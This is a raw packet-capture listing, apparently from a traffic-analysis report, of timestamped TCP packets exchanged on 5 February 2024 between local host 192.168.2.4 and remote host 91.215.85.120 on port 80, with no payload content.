Feb 5, 2024 10:57:24.744735003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.744750977 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.744750977 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.744767904 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.744772911 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.744785070 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.744801998 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.744806051 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.744821072 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.744834900 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.744838953 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.744857073 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.744874954 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.744879961 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.744895935 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.744909048 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.744914055 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.744934082 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.744950056 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.744966030 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.744966984 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.744990110 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.744996071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745013952 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745027065 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745032072 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745049953 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745065928 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745081902 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745085955 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745100021 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745109081 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745119095 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745131969 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745138884 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745157003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745171070 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745173931 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745193958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745209932 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745213985 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745228052 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745244980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745254040 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745265007 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745280027 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745281935 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745302916 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745320082 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745336056 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745337963 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745353937 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745361090 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745383024 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745390892 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745400906 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745418072 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745430946 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745438099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745455980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745474100 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745475054 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745491982 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745512009 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745512962 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745531082 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745548010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745563984 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745565891 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745580912 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745596886 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745599985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745614052 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745620966 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745640039 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745651960 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745656967 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745676041 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745692015 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745708942 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745708942 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745728016 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745733976 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745748043 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745764971 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745769024 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745783091 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745799065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745807886 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745816946 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745837927 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745855093 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745873928 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745879889 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745903015 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745920897 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745920897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745944023 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745963097 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745963097 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.745982885 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.745996952 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746001005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746017933 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746040106 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746051073 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746062040 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746078968 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746079922 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746099949 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746119022 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746133089 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746136904 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746156931 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746165991 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746185064 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746201992 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746215105 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746218920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746237993 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746238947 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746258020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746273994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746289968 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746299028 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746309996 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746315956 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746330023 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746345997 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746346951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746366978 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746382952 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746383905 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746402025 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746418953 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746434927 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746438026 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746455908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746464014 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746474981 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746488094 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746493101 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746510029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746526957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746543884 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746546030 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746562958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746568918 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746581078 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746598959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746601105 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746617079 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746634007 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746639967 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746650934 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746668100 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746669054 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746687889 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746706009 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746720076 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746721983 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746741056 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746745110 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746758938 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746774912 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746777058 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746793985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746809959 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746812105 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746830940 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746848106 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746864080 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746865034 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746885061 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746889114 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746903896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746920109 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746921062 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746937990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746953964 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.746954918 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746973038 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.746990919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747006893 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747006893 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747025967 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747031927 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747045994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747061968 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747062922 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747082949 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747096062 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747101068 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747117996 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747133970 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747149944 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747153997 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747168064 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747175932 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747186899 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747204065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747220039 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747220993 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747237921 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747242928 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747256994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747273922 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747273922 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747293949 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747308016 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747309923 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747328997 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747344971 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747351885 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747363091 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747381926 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747385025 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747399092 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747416019 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747432947 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747432947 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747451067 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747454882 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747471094 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747492075 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747505903 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747509956 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747529030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747534990 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747549057 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747566938 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747570038 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747586012 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747602940 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747618914 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747627974 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747637987 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747643948 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747654915 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747673988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747674942 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747694016 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747709990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747716904 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747728109 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747744083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747752905 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747762918 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747778893 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747781038 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747798920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747819901 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747822046 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747839928 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747853994 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747857094 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747875929 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747891903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747906923 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747912884 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747925997 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747939110 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747946024 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747962952 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.747970104 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.747981071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748001099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748014927 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748018980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748039007 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748039007 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748058081 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748074055 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748089075 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748090029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748109102 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748116016 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748131037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748146057 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748156071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748181105 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748188972 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748203039 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748222113 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748238087 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748255014 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748270988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748270988 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748282909 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748286963 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748306036 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748307943 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748322964 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748343945 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748346090 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748363018 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748373985 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748379946 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748399973 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748416901 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748433113 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748434067 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748450994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748456955 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748469114 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748486042 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748488903 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748505116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748522997 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748529911 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748541117 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748557091 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748558044 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748575926 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748599052 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748606920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748624086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748644114 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748661041 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748667955 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748678923 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748692036 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748697042 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748713970 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748717070 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748732090 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748749018 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748756886 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748768091 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748784065 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748785019 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748801947 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748819113 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748836040 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748838902 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748852968 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.748862982 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.748938084 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.821789026 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.825222015 CET	49735	80	192.168.2.4	91.215.85.120
